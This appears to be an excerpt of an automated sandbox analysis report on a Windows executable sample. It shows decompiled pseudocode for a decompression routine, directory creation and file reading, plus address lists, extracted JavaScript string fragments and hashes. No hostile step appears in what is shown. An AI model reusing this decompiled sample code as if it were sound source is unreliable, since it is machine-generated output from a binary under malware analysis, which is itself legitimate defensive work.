							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00406953
0x0040695a
0x00406960
0x00406966
0x00000000
0x0040696a
0x00406976
0x00406976
0x00406976
0x0040697f
0x00000000
0x00000000
0x00406985
0x00000000
0x0040698c
0x00406990
0x00000000
0x00000000
0x00406999
0x0040699c
0x0040699f
0x004069a1
0x004069a3
0x00000000
0x00000000
0x004069a9
0x004069ac
0x004069ae
0x004069af
0x004069b2
0x004069b4
0x004069b5
0x004069b7
0x004069ba
0x004069bf
0x004069c4
0x004069cd
0x004069e0
0x004069e3
0x004069ec
0x004069ef
0x00406a17
0x00406a17
0x00406a19
0x00406a27
0x00406a27
0x00406a2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a1b
0x00406a1b
0x00406a1e
0x00406a1e
0x00406a1f
0x00406a1f
0x00000000
0x00406a1b
0x004069f1
0x004069f5
0x004069fa
0x004069fa
0x00406a03
0x00406a09
0x00406a0b
0x00406a0e
0x00000000
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00000000
0x00406a31
0x00406a31
0x00406a35
0x004072e1
0x00000000
0x004072e1
0x00406a3e
0x00406a4e
0x00406a51
0x00406a54
0x00406a54
0x00406a54
0x00406a57
0x00406a57
0x00406a5b
0x00000000
0x00000000
0x00406a5d
0x00406a60
0x00406a63
0x00406a8d
0x00406a93
0x00406a9a
0x00000000
0x00406a9a
0x00406a65
0x00406a69
0x00406a6c
0x00406a71
0x00406a71
0x00406a7c
0x00406a82
0x00406a84
0x00406a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406acc
0x00406ad2
0x00406ad5
0x00406ae2
0x00406aea
0x00000000
0x00000000
0x00406aa1
0x00406aa1
0x00406aa5
0x004072f0
0x00000000
0x004072f0
0x00406ab1
0x00406abc
0x00406abc
0x00406abc
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406aca
0x00000000
0x00000000
0x00000000
0x00000000
0x00407161
0x00407161
0x00407167
0x0040716d
0x00407170
0x00407173
0x0040718d
0x00407190
0x00407196
0x004071a1
0x004071a1
0x004071a3
0x00407175
0x00407175
0x00407184
0x00407188
0x00407188
0x004071a6
0x004071ad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004071af
0x004071af
0x004071b3
0x00407362
0x00000000
0x00407362
0x004071bf
0x004071c6
0x004071ce
0x004071ce
0x004071ce
0x004071d1
0x004071d4
0x004071d4
0x00000000
0x00000000
0x00406af2
0x00406af4
0x00406af7
0x00406b68
0x00406b6b
0x00406b6e
0x00406b75
0x00406b7f
0x00000000
0x00406b7f
0x00406af9
0x00406afd
0x00406b00
0x00406b02
0x00406b05
0x00406b08
0x00406b0a
0x00406b0d
0x00406b0f
0x00406b14
0x00406b17
0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b62
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x00000000
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x00000000
0x00000000
0x00406e3e
0x00406e42
0x00000000
0x00000000
0x00406e48
0x00406e4c
0x00000000
0x00000000
0x00406e52
0x00406e54
0x00406e58
0x00406e58
0x00406e5b
0x00406e5f
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x00000000
0x00406eca
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406ef9
0x00406efc
0x00406f03
0x00406f08
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00406de9
0x00406de9
0x00406dec
0x00000000
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x0040715e
0x0040715e
0x00000000
0x0040715e
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x004071da
0x004071da
0x00000000
0x004071da
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00406e62
0x00406e62
0x00406e66
0x0040732c
0x00000000
0x0040732c
0x00406e6c
0x00406e6f
0x00406e72
0x00406e75
0x00406e77
0x00406e77
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e83
0x00406e86
0x00406e89
0x00406e8a
0x00406e8c
0x00406e8c
0x00406e8c
0x00406e8f
0x00406e92
0x00406e95
0x00406e98
0x00406e98
0x00406e98
0x00406e9b
0x00406e9d
0x00406e9d
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00406ea0
0x00406ea0
0x00000000
0x00406ea0
0x00407121
0x00407356
0x00407378
0x0040737e
0x00407380
0x00407387
0x00000000
0x00000000
0x00406985
0x0040738d
0x0040738d
0x00000000

Strings

dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;, xrefs: 0040694D
rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1, xrefs: 00406943

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID: dlers:o,mutableDefaults:Boolean(y)})};const L=async function*(P,g){let o=_(P,g,v.options);o.resolveBodyOnly=!1;const y=o.pagination;if(!s.default.object(y))throw new TypeError("`options.pagination` must be implemented");const R=[];let{countLimit:C}=y,F=0;for(;$rects:10,prefixUrl:"",methodRewriting:!0,ignoreInvalidCookies:!1,context:{},http2:!1,allowGetBody:!1,https:void 0,pagination:{transform:u=>u.request.options.responseType==="json"?u.body:JSON.parse(u.body),paginate:u=>{if(!Reflect.has(u.headers,"link"))return!1
API String ID: 0-11301910
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040591F(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x0040592a
0x0040592e
0x00405931
0x00405937
0x0040593b
0x0040593f
0x00405947
0x0040594e
0x00405954
0x0040595b
0x00405962
0x0040596a
0x0040596c
0x00000000
0x0040596c
0x00405976
0x0040597d
0x00405993
0x00000000
0x00000000
0x00000000
0x00405995
0x00405999

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004031D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E004031D6(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x4702b8;
					 *0x42a6d4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E004032DE(4);
				if(_t22 >= 0) {
					_t24 = E00405F61( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x42a6d4 =  *0x42a6d4 + 4;
						_t36 = E004032DE(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
